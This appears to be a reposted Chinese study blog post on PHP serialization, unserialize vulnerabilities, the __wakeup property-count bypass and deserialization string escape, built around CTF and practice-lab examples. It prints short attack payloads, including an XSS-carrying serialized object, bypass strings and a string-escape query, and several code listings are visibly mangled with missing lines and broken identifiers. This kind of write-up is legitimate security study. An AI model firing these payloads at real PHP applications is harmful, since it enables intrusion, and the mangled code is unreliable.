PHP序列化和反序列化和反序列化漏洞和字符串逃逸

文章目录

    • 前言
    • 序列化
    • 反序列化
    • 反序列化漏洞
      • CVE漏洞
        • 举个例子
      • 举个大例子
    • PHP反序列化字符串逃逸

前言

之前ISCC比赛中,见到许多的关于序列化和反序列化之类的题,当时我也不会,写也写不动,复现也不会。我就记着了。今天特地准备学习了一下

序列化

即 把对象或者变量转变为字符串的过程
函数 ;serialize
这个函数就是序列化的函数

name = $name;
  $this->age = $age;
  $this->height = $height;
 }
 
}

$man=new man("choudidi",5,21);
var_dump(serialize($man));

?>

PHP序列化和反序列化和反序列化漏洞和字符串逃逸_第1张图片

string(72) "O:3:"man":3:{s:4:"name";s:8:"choudidi";s:3:"age";i:5;s:6:"height";i:21;}"

o是object 3是3个字符 man是类名
3是3个变量
s是string 4个字符 name变量名
s 8个字符 choudidi赋值给name
依次类推
序列化大概就是这么个样子

反序列化

就是跟序列化一样的
不过是反过来,把字符串转换成数组形式
函数 unserialize

name = $name;
  $this->age = $age;
  $this->height = $height;
 }
 
}

$man= 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}';
var_dump(unserialize($man));

?>

PHP序列化和反序列化和反序列化漏洞和字符串逃逸_第2张图片
就跟序列化也是差不多的

反序列化漏洞

反序列化漏洞的成因就是反序列化的内容是由用户控制的,在加上后台某些不正当的魔法函数,就可能出现漏洞。

__construct()    //当一个对象创建时被调用
__destruct()    //当一个对象销毁时被调用
__toString()   //当一个对象被当作一个字符串使用
__sleep()     //在对象被序列化之前使用
__wakeup()   //反序列化之前调用
在程序运行的时候,若存在以上函数,则先运行该函数

举个例子

class S{
	var $test = "pikaqiu";
	function __destruct(){
		echo $this->test;
	}	
}
$s = $_GET['test'];
@$unser = unserialize($a);

payload

O:1:"S":1:{s:4:"test";s:29:"";}

输入这个payload的时候,test的值就,执行xss弹窗.
在pikaqiu靶场中进行试验。
PHP序列化和反序列化和反序列化漏洞和字符串逃逸_第3张图片

CVE漏洞

当序列化字符串中表示对象属性个数的值大于真是属性的个数是,会跳过wakeup函数的执行
例如如下
构造序列化对象:O:5:“SoFun”:1:{s:4:“file”;s:8:“flag.php”;}
构造绕过__wakeup:O:5:“SoFun”:2:{s:4:“file”;s:8:“flag.php”;}

举个例子

PHP序列化和反序列化和反序列化漏洞和字符串逃逸_第4张图片对代码进行审计。
创建了一个xctf类,定义一个变量叫flag,赋值为111,并且用了wakeup这个函数,一旦反序列化就会调用这个函数,就会输出’ bad request 并且终止程序。
那么解题的话,就需要绕过·wakeup函数
实例化这个类

$a=new xctf(code);
$str=serialize($a);
echo $str:

得到O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
但是我们需要绕过wakeup函数,就需要把1改为2
O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
即可

构造payload

理论的学习是这个样子,等到写题的时候,一定不会那么简单。

举个大例子

 class SoFun{ 
    protected $file='index.php';
    function __destruct(){ 
      if(!empty($this->file)) {
       if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
          show_source(dirname (__FILE__).'/'.$this ->file);
       else      die('Wrong filename.');
      }}  
    function __wakeup(){ $this-> file='index.php'; } 
    public function __toString(){return '' ;}}     
    if (!isset($_GET['file'])){ show_source('index.php'); } 
    else{ 
       $file=base64_decode( $_GET['file']); 
       echo unserialize($file ); } 
?>   #

因为代码审计不过关,只能把解题方法放下面
抽空闲的时候,我会仔细的审计的
博客链接放出来大佬博客
PHP序列化和反序列化和反序列化漏洞和字符串逃逸_第5张图片
有机会遇到这种题会再补

PHP反序列化字符串逃逸

这个是学长让了解学习的,刚好看了序列化和反序列化,就顺便把字符串逃逸学习一下

我冥思苦想一下午,终于啊,我整出来了
我觉得反序列化字符串逃逸的整体思想就是闭合
比如

< ?php
function test($str){
return preg_ replace(' /x/','ha', $str);
}
$name = $_ GET[ name ] ;
$sign = 'hello everyone' ;
$user = array( $name ,$sign);
$user_ ser = test(serialize($user));
echo $user ser.'
' ; $fake = unserialize($user_ ser); echo $fake[0].'
'; echo $fake[1].'
'; ?>

PHP序列化和反序列化和反序列化漏洞和字符串逃逸_第6张图片

进行一波代码审计:输入name并且和sign一起输入到user数组中。user序列化后的字符串经过test函数检测后,输出反序列化的结果。
php反序列化的终止是判断是否完成闭合,即是否存在{},一个完整的{}即为一个闭合,闭合后面的部分则不会报错
就如果输入name=avAlx,那么就会得到下图。
因为avAlha的长度和5不符,所以报错。不会进行反序列化
在这里插入图片描述
首先,我们要了解
在这里插入图片描述
所以我们要在序列化前将这个数改为一个我们希望的书的数。
比如https://www.cnblogs.com/hello-there/p/12870541.html
如果要更改sign的内容,就需要自己写入一个类似下图的序列化
在这里插入图片描述

?name=evALxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";i:1;s:14:"hello hackerrr";}

刚好62个字符,当x被替换为ha后
在这里插入图片描述
字符刚好为62,不会报错,并且正好形成闭合执行;i:1;s:14:“hello hackerrr”,故刚好可以解决我们的需求。
这就是PHP反序列化字符串逃逸
参考大佬博客

你可能感兴趣的:(php简单学习系列,php,字符串,安全漏洞)